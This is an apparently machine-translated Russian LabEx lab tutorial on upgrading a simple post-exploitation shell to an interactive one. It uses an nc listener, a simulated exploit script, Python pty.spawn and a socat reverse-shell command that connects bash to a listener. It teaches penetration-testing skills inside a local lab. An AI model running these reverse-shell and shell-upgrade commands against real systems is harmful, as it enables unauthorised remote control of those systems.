Преобразование простой оболочки в интерактивную в Nmap

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В области пенетрационного тестирования получение доступа к целевой системе часто включает получение оболочки (shell), которая может быть простой оболочкой или интерактивной оболочкой. Простая оболочка имеет ограниченные функциональные возможности и не обладает интерактивными возможностями, в то время как интерактивная оболочка предоставляет более мощную и удобную для пользователя среду. Эта лабораторная работа (LabEx) призвана исследовать различия между простой и интерактивной оболочками и провести вас по процессу обновления простой оболочки до интерактивной оболочки.


Skills Graph

Понимание простой оболочки (Simple Shell)

На этом этапе мы рассмотрим концепцию простой оболочки и ее ограничения. Простая оболочка обычно получается с помощью уязвимостей для удаленного выполнения команд или других эксплойтационных техник. Хотя она позволяет выполнять команды на целевой системе, у нее отсутствуют несколько важных функций, которые могут помешать фазе пост-эксплуатации.

  1. Чтобы начать, откройте окно терминала и перейдите в каталог /home/labex/project:

    cd /home/labex/project
  2. Чтобы смоделировать процесс получения простой оболочки на целевой системе, вам нужно настроить прослушиватель на порту 5911 с помощью команды nc:

    nc -lnvp 5911

    Ожидаемый вывод:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...

    Это окно терминала будет служить прослушивателем для подключения простой оболочки.

  3. Откройте другое окно терминала и перейдите в каталог /home/labex/project. В вашем домашнем каталоге вы должны увидеть файл exploit.sh. Этот файл моделирует эксплойт для удаленного выполнения команд, который можно использовать для получения простой оболочки на целевой системе.

    cd /home/labex/project

    Запустите скрипт exploit.sh, чтобы подключиться к прослушивателю на порту 5911 и получить простую оболочку на целевой системе:

    ./exploit.sh

    Ожидаемый вывод:

    labex:project/ $./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    Этот скрипт подключится к прослушивателю на порту 5911 и предоставит вам простую оболочку на целевой системе.

  4. Вернитесь в окно терминала, где вы настроили прослушиватель. Вы должны увидеть, что соединение с целевой системой установлено.

    Пример вывода:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    Вы можете проверить, что получили простую оболочку, выполнив такие команды, как whoami и lsb_release -a. Однако вы заметите, что простая оболочка не обладает некоторыми функциями, такими как правильные приглашения команд, автодополнение по Tab и возможность использовать интерактивные команды, такие как su или ssh.

Обновление до интерактивной оболочки с использованием Python

Один из способов обновить простую оболочку до интерактивной - использовать модуль pty в Python, который позволяет создать псевдотерминал (pts).

  1. Сначала проверьте, установлен ли Python на целевой системе, выполнив следующие команды:

    which python
  2. Если Python установлен, вы можете создать псевдотерминал с помощью следующей команды:

    python -c 'import pty; pty.spawn("/bin/bash");'

    Эта команда запустит новую интерактивную оболочку с поддержкой псевдотерминала, позволяя вам без проблем выполнять такие команды, как su и ssh.

    Пример вывода:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. Вы можете проверить, является ли новая оболочка псевдотерминалом, выполнив команду tty и перенаправив вывод в файл:

    tty > /home/labex/project/shell.txt

    Проверьте содержимое файла shell.txt, чтобы узнать, является ли оболочка псевдотерминалом (pts).

    cat /home/labex/project/shell.txt

    Пример вывода:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

Однако, хотя псевдотерминал Python решает некоторые ограничения простой оболочки, у него все еще отсутствуют некоторые функции, такие как автодополнение по Tab, навигация по истории команд и правильная поддержка текстовых редакторов, таких как vim или vi.

Примечание: Вы можете выйти из псевдотерминальной оболочки, набрав exit или нажав Ctrl+D.

Обновление до полноценной интерактивной оболочки с использованием Socat

Для более комплексного решения мы можем использовать утилиту socat для получения полноценной интерактивной оболочки с поддержкой всех функций, включая автодополнение по Tab, навигацию по истории команд и совместимость с текстовыми редакторами.

Сначала проверьте, установлен ли socat на целевой системе, выполнив следующую команду:

which socat

Если socat установлен, следуйте этим шагам:

  1. Откройте новое окно терминала и запустите прослушиватель на порту 5912 с использованием следующей команды socat:

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    Ждите, пока соединение будет установлено.

  2. В простой оболочке выполните следующую команду, чтобы подключиться к прослушивателю и обновить оболочку до полноценной интерактивной оболочки:

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. Вернитесь в окно терминала, где вы настроили прослушиватель. Вы должны увидеть, что соединение с целевой системой установлено. Теперь у вас должна быть полноценная интерактивная оболочка со всеми функциями, которые вы ожидаете от обычной сессии терминала.

    Пример вывода:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

Протестируйте новую интерактивную оболочку, используя такие команды, как cat, ssh, vim, и навигацию по истории команд с помощью стрелок вверх и вниз.

Итог

В этой лабораторной работе (LabEx) мы рассмотрели концепцию простых и интерактивных оболочек в контексте пенетрационного тестирования. Мы узнали о ограничениях простых оболочек и важности обновления до интерактивной оболочки для эффективных действий на стадии пост-эксплуатации. Мы изучили два метода обновления простой оболочки: использование модуля pty в Python для создания псевдотерминала и использование утилиты socat для получения полноценной интерактивной оболочки со всеми необходимыми функциями. Практикуя эти техники, вы приобрели ценные навыки, которые помогут вам в будущих пенетрационных тестах, позволяя преодолеть сложности, связанные с простыми оболочками, и упростить свои действия на стадии пост-эксплуатации.